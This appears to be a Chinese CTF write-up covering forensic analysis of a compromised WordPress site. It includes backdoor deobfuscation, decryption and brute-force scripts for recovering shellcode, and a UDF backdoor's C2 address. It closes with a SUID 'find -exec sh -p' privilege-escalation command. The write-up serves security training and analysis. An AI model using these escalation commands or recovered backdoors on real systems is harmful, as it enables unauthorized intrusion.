2025新春挑战赛-ctfplus+

宣传一下ctfplus+ 平台: https://www.ctfplus.cn/
平台内会有一些赛题和ctf资源和友善的管理员,助力快速学会ctf!

入侵分析

WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE 插件漏洞

参考链接:
https://www.exploit-db.com/exploits/51224

直接用这个exp打就可以拿到webshell权限了。

加密 迷局

给定 php 拓展,让我们对php拓展进行逆向

ida打开发现是 rust ,可以使用ida 9.0 来打开,对rust有一点优化

php 解混淆, 丢给ai

可以得到差不多代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php  

// 定义 wxrM5 函数,该函数接受两个参数:$RJ2kh 数组和 $R53BD 整数
function wxrM5($RJ2kh, $R53BD)
{
// 初始化 $pdpKe 为空字符串,用于存储最终结果
$pdpKe = '';
// 定义 $pcDaC 数组,包含一些 ASCII 码值
$pcDaC = array(110, 105, 99, 101, 114, 101, 118);
// 初始化 $hp_8p0,作为数组索引
$hp_8p = 0;
// 使用 for 循环遍历数组,直到 $hp_8p 达到 $R53BD for (; $hp_8p < $R53BD; $hp_8p++) {
//$RJ2kh 数组中当前索引位置的值与 $pcDaC 数组中对应位置的值进行异或运算
// 并将结果转换为字符,追加到 $pdpKe 字符串中
$pdpKe .= chr($RJ2kh[$hp_8p] ^ $pcDaC[$hp_8p % 7]);
}
// 返回最终结果字符串
return $pdpKe;
}

// 定义 $G3spL 数组,包含一些十六进制值
$G3spL = array(0x9, 0xc, 0x6, 0x16, 0x17, 0x6, 0x13, 0x0, 0xa);
// 调用 wxrM5 函数,传入 $G3spL 数组和 9 作为参数,结果存储在 $kqXHn
$kqXHn = wxrM5($G3spL, 9);

// 定义 $ovA2n 数组,包含一些十六进制值
$ovA2n = array(0xd, 0x6, 0xd, 0x3, 0x1b, 0x2, 0x58, 0x1e, 0x1, 0x13);
// 调用 wxrM5 函数,传入 $ovA2n 数组和 10 作为参数,结果存储在 $AeU4Z
$AeU4Z = wxrM5($ovA2n, 10);

// 调用 $kqXHn 所代表的函数,并传入 $AeU4Z 作为参数
//call_user_func_array($kqXHn, array($AeU4Z));

echo $kqXHn;
echo $AeU4Z;

打印出来得到 geesecenc 和 config.php
猜测 和 config.php 有关,连接到shell时,刚好也有一个config.php 里面是 base64 编码内容,可能与此相关

在拓展中找到相关函数进行分析:
image.png

有三个是自写的重点关注一下,得到 流程
读取config.php
运行unicorn 代码 对数据进行加密
执行base64编码,表是一个魔改表

抠出来 arm代码,让ida解析
image.png

得到相关逻辑
image.png

0x11010 是一个全局key,注意unicorn中存在内存hook,会将原密钥 0x00010203…..1f 替换
image.png

编写脚本进行逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
  

all_key = bytes.fromhex('67 65 65 73 65 63 5f 73 65 63 75 72 69 74 79 21')
def sub_0(a1, a2: int) -> int:



# 第一部分:异或操作
for i in range(a2):
a1[i] ^= a1[(i + 1) % a2]

# 第二部分:交换字节
for j in range(a2 // 2):
a1[j], a1[a2 - j - 1] = a1[a2 - j - 1], a1[j]
print('v1',a1)

# 第三部分:按位操作
for k in range(1, a2):
# a1[k] = (a1[k] | a1[k - 1]) & ~(a1[k] & a1[k - 1])
a1[k] = (a1[k] ^ a1[k - 1])


for m in range(a2):
if m <= 0:
v2 = -(-m & 0xF)
else:
v2 = m & 0xF

# 这里 `0x11010` 是固定的地址偏移,假设是一个全局数据源
# print(a1[m])
# print(all_key[v2]) a1[m] ^= all_key[v2]

return a1

def reverse_sub_0(a1, a2: int):
# 逆向第四部分:与全局密钥异或
for m in range(a2):
if m <= 0:
v2 = -(-m & 0xF)
else:
v2 = m & 0xF
a1[m] ^= all_key[v2]

# 逆向第三部分:按位操作
for k in range(a2 - 1, 0, -1):
a1[k] ^= a1[k - 1]

# 逆向第二部分:交换字节
for j in range(a2 // 2):
a1[j], a1[a2 - j - 1] = a1[a2 - j - 1], a1[j]

# 逆向第一部分:异或操作
for i in range(a2 - 1, -1, -1):
a1[i] ^= a1[(i + 1) % a2]

return a1

def sub_de_0(a1, a2: int) -> int:
# 第四部分:根据条件修改字节

for m in range(a2):
if m <= 0:
v2 = -(-m & 0xF)
else:
v2 = m & 0xF

# 这里 `0x11010` 是固定的地址偏移,假设是一个全局数据源
# print(a1[m])
# print(all_key[v2]) a1[m] ^= all_key[v2]

# 第三部分:按位操作
for k in range(1, a2):
a1[k] = (a1[k] | a1[k - 1]) & ~(a1[k] & a1[k - 1])
# a1[k] = (a1[k] ^ a1[k - 1])
print('v1',a1)

# 第二部分:交换字节
for j in range(a2 // 2):
a1[j], a1[a2 - j - 1] = a1[a2 - j - 1], a1[j]

# 第一部分:异或操作
for i in range(a2):
a1[i] ^= a1[(i + 1) % a2]


print(a1)




return a1

a = bytes.fromhex("4458597a6b5b752d14532521282c2e712b3639544e2a19193f29485c39314c542942464a50362b1d0a404d025b271c754409121f014021501b404c0809103861445d373425181550091419164a4c53552e17100a424830111005564b3821084027465d4609291711460f021e0d574161532e3722421e7c4d46173c001c0d5e025e512f282c057c4b34360413295715560b01464b4f567c5c112a0707105352501015040515406150112a070710535a182a2334132240673e233215354a180e4d03465c1439271f13465a2c290c4517025f52283922397c1f120f115151554f15553a57443a526a413a53450936434c13385550413a546a2c5355472d5d444b7e5450572c56556d2c56550e2d5d444b7e51501e2c5457242c5754472d5d444b7e51511e2c0457242c5554472d5f434b7e57511e2c5356242c53560e2d5d434b7e4646091805057c4a37243509235741783c00541d460f281f01404d41022f13584409121f01406604551218214a4c3c763737295009143317461d564a0e283d610746090409077c0b464954425c0f261750573a435051004552512a445e462615521e3a52465d61504f56565d5a5756552e17100a42482e041502030242571c4b445c501f2f2b3d505d19151628345a4d100901505c5034280f1a564b5e3933663d465d0455123220460f021e0d57410b465153413a5669413a50422d0c41027e5253572c5654001650182a145c0f26004c030f14465a1a24353139515140337a2e03461f120f3b505d173c001c0d5e5c445b463351280d2242404c1303360974445d041927130a50091419164a0c5a0b132c17061c44743a23090f384a19154b1005080500403f190a0203014a4c147207320f544603351c04150651115718442657025015133d1c05404c281b3e235b445d5026110d3050091419164a4c530a2620244122402b1508404b5139314c542942464a15510c1631404d281b3e235b4409121f014067595648111f0303084d1403142f140f2e0203404c3c12252370445d2b0834390e50091419164a7d77520c16594c")
#
# print(list(a))
a = list(a)

c = reverse_sub_0(a, len(a))
print(''.join(map(lambda x: hex(x)[2:], c)))


得到php 代码

1
3c3f706870da20676f746f20525952784d3b20525952784d3a206572726f725f7265706f7274696e672830293b20676f746f2079594971593b2057665031733a20244d76364653203d206e657720443142464228293b20676f746f206c6d7756363b2079594971593a20636c617373206431426662207b207075626c69632024695463506e3b207075626c69632066756e6374696f6e20497969454a28247a76714a7729207b20676f746f2056734169623b2056734169623a20245251483743203d207e247a76714a773b20676f746f20654a5849373b204f515354463a2064696528225c7836655c7836665c34305c3135365c7836665c34305c3135365c31353722293b20676f746f20506e7233743b205944494e343a207a695868303a20676f746f2043426763793b20614b496f363a206966202873756273747228247a76714a772c20302c203629203d3d20225c7836375c3134355c3134355c3136335c3134355c7836332229207b20676f746f206343475f643b207d20676f746f204f515354463b20506e7233743a20676f746f207a695868303b20676f746f206d3266585a3b2049784344513a206563686f20225c3134375c7836355c7836355c7837335c3134355c3134335c7837625c7837355c3133375c3134315c7837325c7836355c3133375c7835305c3135305c3136305c3133375c3135355c36345c3136335c3136345c7833335c3136325c34315c313735223b20676f746f205944494e343b206d3266585a3a206343475f643a20676f746f20446352454e3b20446352454e3a20247a76714a77203d2073756273747228247a76714a772c2036293b20676f746f2043627256523b20654a5849373a20247a76714a77203d207e2452514837433b20676f746f20614b496f363b2043627256523a206576616c28247a76714a77293b20676f746f2049784344513b2043426763793a207d207d20676f746f2057665031733b206c6d7756363a20244d763646532d3e495969454a28245f504f53545b42505333725d293bda3f3e20

php中执行echo 语句,得到flag
image.png

新年隐患

打包 插件目录代码

tar -zcvf 1.tar.gz ./plugins/*

解压,火绒自动查杀到了。

image.png

确实是后门:
image.png

时光追溯

漏洞的攻击需要访问这个路径 connector.minimal.php
image.png

依此作为入口点

在日志文件中搜索到第一个访问该路径的即可
image.png

1
24/Jan/2025:15:11:00-37.106.98.98-/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

数据足迹

翻了一下,有些查询比较异常SELECT * FROM (6c6c6f62)

image.png

提取出来
image.png

根据结尾 的注释尾部 可能还有一段数据在前面
image.png

拼接起来,其实是flag的hex倒序
image.png

数据库陷阱

对udf 中比较异常的地方进行分析

发现NJFGOIQWJIODJ 是 rc4 流加密 再 ^ 0x56,key为传入参数的前4字节,需要进行爆破。

FIJQODQLK 是对一个表达式进行解析

1
(((11+22)*2)-1)/2

UOIHFEUIOWIUOIO 是校验两段 8字节数据,就是传入参数的后16位数据, 算法使用 魔改的 tea 加密后对比 ,其中的key与解析表达式相关

image.png

image.png

发现使用的是lemon
https://github.com/compiler-dept/lemon/blob/master/lempar.c#L207
可以导入结构体,对代码进行优化。
猜测代码, -1.stateno 是上一个表达式计算的结果 major 是当前要计算的值

按照这个原理得到真正的tea的key
image.png

tea 计算的时候轮数也参与了,在逆向的时候需要考虑
image.png

写个代码算出 原结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

DWORD GlobalResultK0 = 0xff7bd96b;
DWORD GlobalResultK1 = 0x7eb0ec9c;
DWORD GlobalResultK2 = 0x2f3a4720;
DWORD GlobalResultK3 = 0x1526619c;

__int64 __fastcall VNDUISHJVUIIO(unsigned int* a1)
{
__int64 result; // rax
unsigned int v2; // [rsp+14h] [rbp-24h]
unsigned int v3; // [rsp+18h] [rbp-20h]
unsigned int i; // [rsp+1Ch] [rbp-1Ch]
int v5; // [rsp+20h] [rbp-18h]

v2 = *a1;
v3 = a1[1];
v5 = 0;
for (i = 0; i <= 0x1F; ++i)
{
v5 += 0x35246489;
v2 += ((v3 >> 5) + GlobalResultK1) ^ (v3 + v5) ^ (16 * v3 + GlobalResultK0) ^ (v5 + i);
v3 += ((v2 >> 5) + GlobalResultK3) ^ (v2 + v5) ^ (16 * v2 + GlobalResultK2) ^ (v5 + i);
}
*a1 = v2;
result = v3;
a1[1] = v3;
return result;
}


__int64 __fastcall VNDUISHJVUIIO_DE(unsigned int* a1)
{
__int64 result; // rax
unsigned int v2; // [rsp+14h] [rbp-24h]
unsigned int v3; // [rsp+18h] [rbp-20h]
int i; // [rsp+1Ch] [rbp-1Ch]
unsigned int v5; // [rsp+20h] [rbp-18h]

v2 = *a1;
v3 = a1[1];
v5 = 0x35246489 * 32;
for (i = 0x1f; i >= 0; --i)
{
v3 -= ((v2 >> 5) + GlobalResultK3) ^ (v2 + v5) ^ (16 * v2 + GlobalResultK2) ^ (v5 + i);
v2 -= ((v3 >> 5) + GlobalResultK1) ^ (v3 + v5) ^ (16 * v3 + GlobalResultK0) ^ (v5 + i);
v5 -= 0x35246489;

}
*a1 = v2;
result = v3;
a1[1] = v3;
return result;
}





int main()
{


GlobalResultK0 = 522408008;
GlobalResultK0 = 11 + 522408008;
GlobalResultK0 += 22;
GlobalResultK0 |= 0xF2589943;
// 33
GlobalResultK1 = 0x3F58762D;
GlobalResultK1 = 33 + 0x3F58762D;
GlobalResultK1 *= 2;
// 66
GlobalResultK2 = 792348513;
GlobalResultK2 = 792348513 - 66;
GlobalResultK2 += 1;
// 1 65
GlobalResultK3 = 0x4F6B84F9;
GlobalResultK3 = 0x4F6B84F9 * 65;
GlobalResultK3 = (unsigned int)GlobalResultK3 / 2;

//printf("%x %x %x %x\n", GlobalResultK0, GlobalResultK1, GlobalResultK2, GlobalResultK3);

DWORD test[5] = {0x57E5582F, 0xADA3F67A, 0x0FCA1290D, 0x48CA5FF4, 0x0};
//DWORD test[2] = {0x635819c, 0xcca1eab7};
VNDUISHJVUIIO_DE((unsigned int*)test);
VNDUISHJVUIIO_DE((unsigned int*)&test[2]);

//printf("%x %x", test[0], test[1]);

printf("%s", (char*)test);
}


得到后面得内容,

1

shellcode 提示了拥有栈帧,且范围固定,直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  

shellcode = '6311ea72a3d9fea1616635a57c57fa288946180493ce4fb945dd447d0e399f2f1aa7982bd56b417b9441b723f3e8a9909e66f81ea4439509059e1133d96338a70fc04e900bd94c7103a50cf55f675e3c51ec48587b70ea0b52da2b91008e83e9d723cbaf48e3f4173eeac02a6db9893c3fd9da5d27ccf1290938fa85020d016c9853df1fe1314602bfb814de05f39febbaecba031d551c7bc2b5085829a0fa6cc80f362f07b7fd45bec1ff42c971f20519f6ada8a20398f0ca5186de27ec952035347ffca787f4c4a6a0343f00339e78655824b4f1aaccb6076c7a59c2e8d800c72f29c1ac'
print(len(shellcode))

shellcode = bytes.fromhex(shellcode)
# len()
from Cryptodome.Cipher import ARC4

import string

al_str = string.ascii_lowercase
cur_shell = [i ^ 0x56 for i in shellcode]


for i1 in al_str:
for i2 in al_str:
for i3 in al_str:
for i4 in al_str:
cur_key = i1+i2+i3+i4
rc = ARC4.new(cur_key.encode())
final_str = rc.decrypt(bytes(cur_shell))
if b'\x48\x89\xe5' in final_str:

print(cur_key,''.join(map(lambda x: hex(x)[2:], final_str)))

得到key:

1
2
gsec
db320da1e69edcd0

分析shellcode, 这里解密出来的shellcode 缺一点内容,需要从cyberchef 用gsec解密
image.png

使用ida加载二进制进行分析,可以得到
image.png

使用gpt梭哈
image.png

当然有点问题,他识别的端口是错的,还需要socket.htons(0x6453) 转一下

1
2
flag{后门函数名_触发参数_ip_端口}
geesecsecurity_gsecdb320da1e69edcd0_10.243.155.68_21348

数字华容道

比较难顶的一题

我尝试在三环任意地方下断点,都无效。

上传沙箱得到ip地址 端口
image.png

进程连接网络,会造成程序阻塞,利用这个时间使用调试器附加,可以断下。
image.png

程序断在 80cd80 这个位置

image.png

image.png

可以看到这里其实也是 shellcode 的 socket connect 连接

但是在程序静态情况下0x80CD80的代码完全不一样
image.png

使用ida 下硬件读写断点
image.png

运行程序,发现也是在这个段 ,xor字节, 纯粹的smc解密代码

image.png

发现使用了这边的一大段内容做为key
image.png

提取出来,就可以提交flag了。

技术原理:

类似于谷歌的这一道题, 重定位表可以执行代码,也是比较新颖的
https://joshl.ca/posts/googlectf2022/

可以查看相关内容

1
readelf -r xx

image.png

提权挑战

find / -perm -u=s -type f

找到 find 拥有suid 权限

直接find提权, 当然也可以先反弹shell

1
2
3
find . -exec sh -p \;



2025新春挑战赛-ctfplus+
https://pwner.top/2025/02/10/2025新春挑战赛-ctfplus+/
作者
m1n9yu3
发布于
2025年2月10日
许可协议